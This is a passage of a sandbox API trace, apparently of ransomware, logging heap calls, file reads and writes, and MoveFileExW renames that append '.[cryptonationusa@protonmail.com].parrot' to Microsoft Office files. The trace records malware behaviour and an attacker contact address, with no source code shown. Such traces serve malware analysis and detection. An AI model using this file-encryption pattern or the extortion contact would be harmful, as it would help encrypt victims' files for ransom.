hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0168.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0168.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0168.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0168.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0168.963] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x198) returned 0x22a0070 [0168.963] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.963] WriteFile (in: hFile=0x284, lpBuffer=0x22a0070*, nNumberOfBytesToWrite=0x198, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x22a0070*, lpNumberOfBytesWritten=0x18eed4*=0x198, lpOverlapped=0x0) returned 1 [0168.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22a0070 | out: hHeap=0x5b0000) returned 1 [0168.965] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0168.965] CloseHandle (hObject=0x284) returned 1 [0168.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c10 [0168.965] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x2257b90 [0168.965] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3173c10 | out: hHeap=0x5b0000) returned 1 [0168.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0168.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.966] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225f3c0 | out: hHeap=0x5b0000) returned 1 [0168.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x68de88 [0168.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x6586e8 [0168.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0168.966] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0168.969] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.969] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.970] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.970] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c000, lpOverlapped=0x0) returned 1 [0168.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0168.972] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0168.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0168.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0168.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0168.972] GetLastError () returned 0x0 [0168.977] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0168.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0168.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0168.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.977] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0168.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0168.978] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0168.978] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0168.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.XLA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\exptoows.xla.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0168.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0168.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0168.985] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c0098 | out: hHeap=0x5b0000) returned 1 [0168.988] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0168.988] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0168.989] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.989] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13f68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13f68, lpOverlapped=0x0) returned 1 [0168.996] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.997] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FACILITY.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\facility.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.001] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c0098 | out: hHeap=0x5b0000) returned 1 [0169.004] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.004] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.005] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.006] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7ec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7ec, lpOverlapped=0x0) returned 1 [0169.006] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FLOCH.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\floch.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.010] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0169.013] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.013] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.014] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.014] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0169.015] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\FOREST.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\forest.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.018] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0169.021] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.021] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.023] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.023] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd7a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd7a, lpOverlapped=0x0) returned 1 [0169.023] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.023] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.CSS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0169.029] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.029] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.030] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.031] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7fb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7fb, lpOverlapped=0x0) returned 1 [0169.031] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VRD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vrd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0169.037] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.037] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.039] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.039] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4e570, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4e570, lpOverlapped=0x0) returned 1 [0169.051] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.063] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GANTT.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gantt.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.067] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0169.071] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.071] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.114] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.115] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2da00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2da00, lpOverlapped=0x0) returned 1 [0169.125] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GR8GALRY.GRA.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\gr8galry.gra.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.135] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0169.138] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.138] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.142] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.143] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x94f26, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x94f26, lpOverlapped=0x0) returned 1 [0169.172] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.194] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0169.203] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.203] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.208] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.208] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x26d, lpOverlapped=0x0) returned 1 [0169.208] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.212] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0169.214] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.214] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0169.215] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.215] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd, lpOverlapped=0x0) returned 1 [0169.216] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0169.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0169.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0169.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0169.221] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0169.221] ReadFile (in: hFile=0x284, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, 